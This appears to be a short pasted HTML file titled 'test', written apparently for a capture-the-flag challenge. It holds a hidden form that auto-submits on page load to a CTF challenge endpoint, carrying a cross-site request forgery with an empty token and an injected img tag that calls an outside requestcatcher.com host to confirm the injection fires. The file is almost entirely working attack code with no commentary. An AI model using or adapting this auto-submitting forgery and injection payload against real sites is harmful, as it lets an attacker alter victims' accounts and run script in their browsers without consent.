test
4 years ago in HTML
<html>
<head>
</head>
<body>
<form id="myform" action="https://typeselfsub.web.ctfcompetition.com/me" method="POST">
<input type="hidden" name="address" value="<img src='https://tmprikky.requestcatcher.com/lulzor' >" >
<input type="hidden" name="csrf" value="">
</form>
<script>
(function(){
document.getElementById("myform").submit();
})();
</script>
</body>
</html>